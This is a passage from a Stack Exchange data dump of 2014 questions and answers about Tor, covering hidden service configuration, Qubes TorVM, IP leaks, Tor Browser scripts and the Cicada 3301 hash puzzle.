OwnerUserId="3421" LastActivityDate="2014-08-17T10:55:34.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3866" PostTypeId="2" ParentId="329" CreationDate="2014-08-17T13:36:31.927" Score="3" Body="&lt;p&gt;I just solved what I believe may be your problem as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try leaving the 'HiddenServiceDir' alone or back to it's normal value which I believe is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restart Yor with these&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor stop&#xA;sudo service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You won't have access to &lt;code&gt;/var/lib/tor&lt;/code&gt; so to access the .onion address from &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt; you could use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo cat /var/lib/tor/hidden_service/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3422" LastEditorUserId="923" LastEditDate="2014-08-18T07:43:37.710" LastActivityDate="2014-08-18T07:43:37.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3867" PostTypeId="2" ParentId="330" CreationDate="2014-08-17T16:52:06.897" Score="7" Body="&lt;h1&gt;Update: 2016-04-17&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Qubes-Whonix integration is now extremely good. I use it myself and highly recommend it. (Qubes TorVM is now deprecated.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read all about Qubes-Whonix on the Qubes website &lt;a href=&quot;https://www.qubes-os.org/doc/whonix/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and on the Whonix website &lt;a href=&quot;https://www.whonix.org/wiki/Qubes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks go to &lt;a href=&quot;https://tor.stackexchange.com/users/80/adrelanos&quot;&gt;adrelanos&lt;/a&gt; and all the other devs whose hard work made this happen.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Old answer (2014-08-17):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;&lt;strong&gt;Qubes TorVM&lt;/strong&gt; is exactly what you've described.&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;In simple terms, &lt;a href=&quot;https://qubes-os.org/&quot; rel=&quot;nofollow&quot;&gt;Qubes OS&lt;/a&gt; is an operating system which provides&#xA;  &lt;strong&gt;security by isolation&lt;/strong&gt; using the Xen hypervisor. All user data and programs are run in lightweight, securely isolated virtual machines&#xA;  called &lt;code&gt;AppVMs&lt;/code&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://qubes-os.org/wiki/UserDoc/TorVM&quot; rel=&quot;nofollow&quot;&gt;Qubes TorVM&lt;/a&gt; is a Qubes OS service which &lt;strong&gt;fully&lt;/strong&gt; and&#xA;  &lt;strong&gt;transparently&lt;/strong&gt; &quot;Torifies&quot; all the network traffic to and from any &lt;code&gt;AppVM&lt;/code&gt; which is connected to it. From the documentation:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;By default, any AppVM using the TorVM as its NetVM will be fully&#xA;    Torified. (Such AppVMs are referred to as &quot;AnonVMs.&quot;) This means that&#xA;    even applications which are not &quot;Tor aware&quot; will be unable to access&#xA;    the outside network directly. Moreover, AnonVMs are not able to access&#xA;    globally identifying information (IP address and MAC address).&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;In brief, &lt;code&gt;TorVM&lt;/code&gt; is designed so that all &lt;code&gt;AnonVM&lt;/code&gt; traffic which&#xA;  &lt;strong&gt;can&lt;/strong&gt; be sent over Tor &lt;strong&gt;is&lt;/strong&gt; sent over Tor. All other traffic is &lt;strong&gt;silently dropped&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that even if a hacker uses a Firefox &lt;strong&gt;zero-day&lt;/strong&gt; to&#xA;  compromise your Tor Browser, which is running in your &lt;code&gt;AnonVM&lt;/code&gt;, the&#xA;  attacker will &lt;strong&gt;not&lt;/strong&gt; be able to learn your real, external IP address,&#xA;  since all the traffic to/from the (now compromised) &lt;code&gt;AnonVM&lt;/code&gt; is&#xA;  &lt;strong&gt;still&lt;/strong&gt; being sent over Tor, which is running in the separate, uncompromised TorVM.&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;Note: The answer I've provided here is just a brief sketch. You are&#xA;  strongly advised to do your homework before attempting to use any&#xA;  security-critical software. (In the case of Qubes OS and TorVM, I&#xA;  recommend thoroughly reading the documentation and searching the&#xA;  mailing list archives for issues which pertain to your situation.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Last, but not least, good people are also working on integrating&#xA;  Whonix with Qubes, which promises more great things for the future of&#xA;  using Tor securely!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3423" LastEditorUserId="3423" LastEditDate="2016-04-17T08:39:31.320" LastActivityDate="2016-04-17T08:39:31.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3868" PostTypeId="2" ParentId="3860" CreationDate="2014-08-18T10:53:55.627" Score="1" Body="&lt;p&gt;The EFF made a clickable diagram which illustrates what your ISP (and other parties) can see when you browse the web using Tor and/or HTTPS: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2014-08-18T10:53:55.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3869" PostTypeId="2" ParentId="3856" CreationDate="2014-08-18T11:14:38.213" Score="0" Body="&lt;p&gt;All incoming connections will be from the tor instance you used to configure the hidden service. E.g. if you are running a server listening on port 8080, and you have a line like this in your &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...then all connections will come from localhost, as the tor binary and your server are running on the same machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your tor relay and the hidden service are running on different machines (or different VMs), e.g. tor is running on &lt;code&gt;hostA&lt;/code&gt; and the server you want to export as a hidden service is running on &lt;code&gt;hostB&lt;/code&gt;, then you would put the following in your &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 hostB:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, all connections would come from hostA, as this is where tor is running.&lt;/p&gt;&#xA;" OwnerUserId="3428" LastActivityDate="2014-08-18T11:14:38.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3870" PostTypeId="1" AcceptedAnswerId="3895" CreationDate="2014-08-18T11:18:12.750" Score="6" ViewCount="16508" Body="&lt;p&gt;On the internet there is unsolved mystery called 3301/Cicada where decrypted text says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;AN END. WITHIN THE DEEP WEB TH&lt;/p&gt;&#xA;&lt;p&gt;ERE EXISTS A PAGE THAT HA&lt;/p&gt;&#xA;&lt;p&gt;SHES TO:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;36367763ab73783c7af284446c&#xA;&#xA;59466b4cd653239a311cb7116&#xA;&#xA;d4618dee09a8425893dc7500b&#xA;&#xA;464fdaf1672d7bef5e891c6e227&#xA;&#xA;4568926a49fb4f45132c2a8b4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IT IS THE DUTY OF EUERY PILGR&lt;/p&gt;&#xA;&lt;p&gt;IM TO SEEK OUT THIS PAGE.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This potentially can be interpreted as the hash of an onion page.&lt;/p&gt;&#xA;&lt;p&gt;Anyone of you know what this might refer to? Any way to find an onion/i2p address by hash rather than hashing the address and comparing it with the given hash?&lt;/p&gt;&#xA;&lt;p&gt;Read more:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://uncovering-cicada.wikia.com/wiki/CICADA_3301_2014_PUZZLE_FACTS_PART_9&quot; rel=&quot;nofollow noreferrer&quot;&gt;CICADA 3301 2014 PUZZLE FACTS PART 9&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/29772/how-do-you-get-a-specific-onion-address-for-your-hidden-service&quot;&gt;How do you get a specific .onion address for your hidden service?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;.onion&lt;/a&gt; at Wikipedia&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="33500" LastEditDate="2023-08-03T03:47:18.060" LastActivityDate="2023-08-03T03:47:18.060" Title="Is it possible to find a Tor page based on the 512-bit hash?" Tags="|onion-services|onion-routing|research|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3871" PostTypeId="1" AcceptedAnswerId="3885" CreationDate="2014-08-18T12:49:25.517" Score="1" ViewCount="228" Body="&lt;p&gt;I saw that Tor is changing my real IP when I am using it.&#xA;But is it possible that websites or browser play a game to detect my real IP?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="923" LastEditDate="2014-08-18T16:33:28.970" LastActivityDate="2014-08-19T15:44:47.907" Title="Does Tor hidding my IP address?" Tags="|onion-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3872" PostTypeId="1" CreationDate="2014-08-18T16:21:30.647" Score="2" ViewCount="2911" Body="&lt;p&gt;I would like to be able to use Tor programmatically in a c# application, for example I could have a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetViaTor(someUrl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I currently do is I run the Tor process,wait a sufficient amount of time for it to connect, connect to it as a proxy and then run through it. I don't like that, it feels like a hack, opens a new process, I have to wait an arbitrary amount of time, and I have no feedback from the process ( i.e. IsTorGood())&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that c# doesn't support socks, and if there was a solution for c/c++ that I could expose as unmanaged code, that too would help. I also know that Tor was written in c, so this seems all too possible, but I just don't understand how to do what I want from the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this may seem like a duplicate of some other questions, but I looked at them and couldn't understand what to do with the answers given ( some applied to java, some said to use it as a proxy (which I took to mean manually))&lt;/p&gt;&#xA;" OwnerUserId="3424" LastEditorUserId="923" LastEditDate="2014-08-18T16:30:52.677" LastActivityDate="2014-08-19T21:05:55.680" Title="Using Tor in a c# application" Tags="|source-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3873" PostTypeId="1" CreationDate="2014-08-18T17:42:03.317" Score="2" ViewCount="1527" Body="&lt;p&gt;Would it be possible to use random exit node (from 1 bar to 3 bar nodes in Tor network map from vidalia) instead of using the strongest exit node? Would it be possible to do this via torrc or telnet? I need a random IP instead of one of most common ones (best bandwidth).&lt;/p&gt;&#xA;" OwnerUserId="3430" LastEditorUserId="923" LastEditDate="2014-08-19T14:57:35.803" LastActivityDate="2014-11-20T08:55:05.217" Title="Can I use random IP from ALL exit nodes?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3874" PostTypeId="2" ParentId="3871" CreationDate="2014-08-18T19:10:12.147" Score="0" Body="&lt;p&gt;Tor does as best it can to hide your ip and is trusted by thousands of people every day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malware and such can be used to circumvent that. There are lots of information on the tor blog about the exploits that are discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check your ip through the check.torproject.org site for example after connecting to tor. This will show you the ip that the regular web servers will see instead of your own.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-18T19:10:12.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3875" PostTypeId="2" ParentId="3855" CreationDate="2014-08-18T20:17:43.760" Score="1" Body="&lt;p&gt;What you can use is nginx url rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many examples on stack overflow. One example is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nginx rewrite domain and URLs&#xA;&lt;a href=&quot;https://stackoverflow.com/q/14565382/485626&quot;&gt;https://stackoverflow.com/q/14565382/485626&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you detect what url they requested and then rewrite it properly so that it can be used on any of the two domains.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2014-08-18T20:17:43.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3878" PostTypeId="1" AcceptedAnswerId="3879" CreationDate="2014-08-19T09:35:27.710" Score="1" ViewCount="972" Body="&lt;p&gt;To access internet in college, we need to authenticate the IP and MAC address of our machine at a certain college portal. Earlier we used to have to provide proxy authentication every time the browser opened, but they changed it to this recently. However, technically I am still accessing the web using my college proxy(right?). Does the proxy track and log my Tor browser bundle history?&lt;/p&gt;&#xA;" OwnerDisplayName="user3438" LastEditorUserId="923" LastEditDate="2014-08-19T14:54:30.257" LastActivityDate="2014-09-11T14:21:12.853" Title="Can my college proxy access my Tor history?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3879" PostTypeId="2" ParentId="3878" CreationDate="2014-08-19T10:15:50.230" Score="2" Body="&lt;p&gt;No.&#xA;Unnless they have direct access to your machine(malware / trojans) they cannot see your history.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-19T10:15:50.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3880" PostTypeId="1" CreationDate="2014-08-19T10:16:45.363" Score="2" ViewCount="1426" Body="&lt;p&gt;What is the format of .onion pseudo-top-level domain addresses?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-08-20T15:58:09.673" Title="What is the format of .onion pseudo domain addresses?" Tags="|onion-services|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3881" PostTypeId="2" ParentId="3880" CreationDate="2014-08-19T11:40:54.743" Score="5" Body="&lt;p&gt;Quoting from Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Addresses in the .onion pseudo-TLD are opaque, non-mnemonic, 16-character alpha-semi-numeric hashes which are automatically generated based on a public key when a hidden service is configured. These 16-character hashes can be made up of any letter of the alphabet, and decimal digits beginning with 2 and ending with 7, thus representing an 80-bit number in base32.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-19T11:40:54.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3882" PostTypeId="1" AcceptedAnswerId="3922" CreationDate="2014-08-19T14:44:34.367" Score="3" ViewCount="81" Body="&lt;p&gt;I recently decided to run an exit node on a VPS running the standard build of OpenBSD 5.5. Tor, which had no missing dependencies, was the first program I installed. I did so by simply downloading the source and following the build instructions. The only other program installed is a simple SSH login protector. However, when I run Tor using &lt;code&gt;sudo tor --hush&lt;/code&gt;, the process remains a &lt;code&gt;root&lt;/code&gt; process. This is despite the fact that the SSH login user non-root with &lt;code&gt;sudo&lt;/code&gt; access through the &lt;code&gt;wheel&lt;/code&gt; group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example output of the start-up, which makes it explicit that it successfully binds to the desired ports:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo tor&#xA;Aug 19 07:29:43.103 [notice] Tor v0.2.4.23 (git-598c61362f1b3d3e) running on OpenBSD with Libevent 1.4.14b-stable and OpenSSL 1.0.1c.&#xA;Aug 19 07:29:43.105 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Aug 19 07:29:43.105 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Aug 19 07:29:43.115 [notice] Opening Control listener on 127.0.0.1:9052&#xA;Aug 19 07:29:43.116 [notice] Opening OR listener on 0.0.0.0:443&#xA;Aug 19 07:29:43.116 [notice] Opening Directory listener on 0.0.0.0:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is relevant, but the data directory being created is &lt;code&gt;/home/my_user/.tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? It's odd, considering that (if I recall correctly) OpenBSD introduced privilege separation to the Unix community. Regardless, I took the server down, and won't restart it until I solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anecdotally, I'm also trying to figure out where the log files are, as &lt;code&gt;/var/log/tor&lt;/code&gt; doesn't exist. That's an easier issue, though.&lt;/p&gt;&#xA;" OwnerUserId="3315" LastEditorUserId="923" LastEditDate="2014-08-19T15:13:02.243" LastActivityDate="2014-08-22T23:46:23.697" Title="Privilege seperation not working on OpenBSD build" Tags="|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3883" PostTypeId="1" CreationDate="2014-08-19T14:54:50.833" Score="1" ViewCount="168" Body="&lt;p&gt;I was following as directed in the video for TBB(3.6.4) verification for MacOSX.&#xA;But the step where we do: gpg --keyserver x-hkp://keys.gnupg.net --recv-keys 0x63FEE659&#xA;is not proceeding further. It says like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: requesting key 63FEE659 from hkp server keys.gnupg.net&#xA;gpg: keyserver timed out&#xA;gpg: keyserver receive failed: Keyserver error&#xA;nothing:Downloads SUDDU$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg: requesting key 63FEE659 from hkp server pool.sks-keyservers.net&#xA;gpg: keyserver timed out&#xA;gpg: keyserver receive failed: Keyserver error&#xA;You have mail in /var/mail/SUDDU&#xA;nothing:Downloads SUDDU$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what now?&lt;/p&gt;&#xA;" OwnerUserId="3440" LastActivityDate="2014-08-19T14:54:50.833" Title="Key requesting fails" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3884" PostTypeId="2" ParentId="3878" CreationDate="2014-08-19T15:22:29.037" Score="2" Body="&lt;p&gt;They cannot see your history in the sense that they cannot see what you are doing on Tor. However, unless you're using a &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;bridge&lt;/a&gt;[1], they can tell when you're connected to the Tor network. Below is the most memorable example of someone misunderstanding that concept:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.theverge.com/2013/12/18/5224130/fbi-agents-tracked-harvard-bomb-threats-across-tor&quot; rel=&quot;nofollow&quot;&gt;http://www.theverge.com/2013/12/18/5224130/fbi-agents-tracked-harvard-bomb-threats-across-tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] And even if you were using a bridge, they could find out if they were trying hard enough.&lt;/p&gt;&#xA;" OwnerUserId="3315" LastEditorUserId="3315" LastEditDate="2014-09-10T20:02:11.417" LastActivityDate="2014-09-10T20:02:11.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3885" PostTypeId="2" ParentId="3871" CreationDate="2014-08-19T15:44:47.907" Score="1" Body="&lt;p&gt;It depends what application you're using and how you do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor browser bundle won't hide your real IP from other applications running on the same machine, including PDF readers etc. That's why you shouldn't open attachments from Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tails is better, as direct internet access is generally forbidden by default for all applications.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-19T15:44:47.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3886" PostTypeId="2" ParentId="3850" CreationDate="2014-08-19T15:47:26.397" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there are 32^16 possible addresses, such a collision is astronomically unlikely. In any case, there's no way of knowing if someone else has the same hidden service, just happens to be offline; there's no way of knowing whether another entity with the same HS key is actually you (from a previous session, or another machine etc).&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-08-19T15:47:26.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3887" PostTypeId="1" AcceptedAnswerId="3891" CreationDate="2014-08-19T16:08:19.077" Score="3" ViewCount="24634" Body="&lt;p&gt;In Tor browser bundle, there are some extensions like NoScript installed. However, setting NoScript to block scripts breaks many websites that rely on Javascript. Does enabling these scripts mean that the website knows who I am (or at least my IP address)? Which scripts in particular are the most dangerous?&lt;/p&gt;&#xA;" OwnerDisplayName="user3438" LastEditorUserId="100" LastEditDate="2014-08-24T00:02:07.420" LastActivityDate="2018-11-17T06:34:08.767" Title="What happens if I enable scripts globally in Tor browser?" Tags="|tor-browser-bundle|javascript|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3888" PostTypeId="2" ParentId="3887" CreationDate="2014-08-19T20:17:29.803" Score="0" Body="&lt;p&gt;The do not automatically know you ip,  but you do run the risk of encountering java/flash exploits that can be used to try to get your ip.&#xA;All though they do try their best to prevent it from happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor blog covers these issues as they arises. &lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-08-19T20:32:55.990" LastActivityDate="2014-08-19T20:32:55.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3889" PostTypeId="2" ParentId="3872" CreationDate="2014-08-19T20:49:43.277" Score="2" Body="&lt;p&gt;You can use a third party .net socks library to add support for socks proxy in your code, there are several to choose from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a guide written here for c#&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/2131/112&quot;&gt;https://tor.stackexchange.com/a/2131/112&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i would do myself is to run the tor process next to the app process and just let it sit there and run in the background,  then pipe the app through a socks library that uses the lib to connect to tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first initial startup will take some time since it needs to bootstrap to the network (regardless of how you implement it),  after that just let it sit there for as long as your application is running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes no sense to do the bootstrap every time you run your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;implement it as what the tor browser bundle is doing to the bundled firefox.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-19T21:05:55.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3890" PostTypeId="2" ParentId="3594" CreationDate="2014-08-19T21:02:29.160" Score="1" Body="&lt;p&gt;I use one all the time when I'm on the road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see it no different then using my regular net at home or using orbot on my cell phone. &#xA;I have never seen a exploit that has to do with Tor and USB modems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The traffic is sent as regular network packets from the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exploit I can think of is if someone start loading the storage on it (that usually contains driver and software on many USB modems) with malware.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="923" LastEditDate="2014-12-18T16:51:06.563" LastActivityDate="2014-12-18T16:51:06.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3891" PostTypeId="2" ParentId="3887" CreationDate="2014-08-19T22:37:45.917" Score="3" Body="&lt;p&gt;The Tor Browser Bundle includes noscript, but by default it is configured to allow scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure it yourself to disallow scripts, but you should be aware that if you start whitelisting sites, your whitelist can be used as a sort of user fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripts should not be able to get your real IP address in the TBB. If they can, that would be considered a serious bug.&lt;/p&gt;&#xA;" OwnerUserId="3444" LastActivityDate="2014-08-19T22:37:45.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3892" PostTypeId="1" AcceptedAnswerId="3894" CreationDate="2014-08-20T04:37:32.757" Score="1" ViewCount="108" Body="&lt;p&gt;I am using College Wifi which sometimes give upto 2-2.5 MBps downloading speed in morning time but in the evening time it goes worst. Sometimes below 50 KBps speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to ask that will I get greater speed in the evening time if I use the Tor bundle browser. or it will be the same as without Tor.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2014-08-31T09:33:36.867" Title="Can Tor do something in my case?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3893" PostTypeId="2" ParentId="3892" CreationDate="2014-08-20T05:10:57.820" Score="0" Body="&lt;p&gt;Your speed will probably slow to a crawl. Tor is very very slow; it is built for anonymity and privacy, not for speed.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-20T05:10:57.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3894" PostTypeId="2" ParentId="3892" CreationDate="2014-08-20T06:37:10.800" Score="1" Body="&lt;p&gt;Your college may be shaping (limiting) BitTorrent traffic when network load is high. Although you might evade traffic shaping by using Tor, using BitTorrent clients via Tor just doesn't work very well. Also, it's nontrivial to set up properly. And perhaps most importantly, it hurts other Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using a VPN service, such as AirVPN or BolehVPN. They're both reputable, support BitTorrent, and allow port forwarding for better swarm reachability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a VPN service (or Tor) to evade traffic shaping may violate your college's WiFi terms of service, and there might be penalties.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-20T06:37:10.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3895" PostTypeId="2" ParentId="3870" CreationDate="2014-08-20T11:26:46.707" Score="3" Body="&lt;p&gt;First, you need to know what kind of hash it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/3989/how-to-determine-what-type-of-encoding-encryption-has-been-used&quot;&gt;How to determine what type of encoding/encryption has been used?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/18690/what-algorithm-is-used-for-1024-bit-hash-which-appears-on-56th-page-of-cicada-pu&quot;&gt;What algorithm is used for 1024 bit hash which appears on 56th page of Cicada puzzle runes?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6776050/how-long-to-brute-force-a-salted-sha-512-hash-salt-provided&quot;&gt;How long to brute force a salted SHA-512 hash? (salt provided)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assuming it's &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;512-bit SHA&lt;/a&gt; unsalted hash, then it'll be a bit tricky and it can take &lt;a href=&quot;https://crypto.stackexchange.com/questions/12392/calculation-of-time-to-crack-sha-256-hash&quot;&gt;a lot of time&lt;/a&gt;, because it's not possible to decrypt the hashes - you've to crack them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may use &lt;a href=&quot;https://en.wikipedia.org/wiki/Dictionary_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;dictionary attack&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Brute-force_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;brutal force method&lt;/a&gt; to recover the original text from the Hash code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the attack is very time consuming, you may consider to restrict as many possibilities you can by using dictionary attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using a targeted technique (dictionary attack), you need to investigate or guess the expected output. Assuming it's in &lt;a href=&quot;https://en.wikipedia.org/wiki/.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;.onion 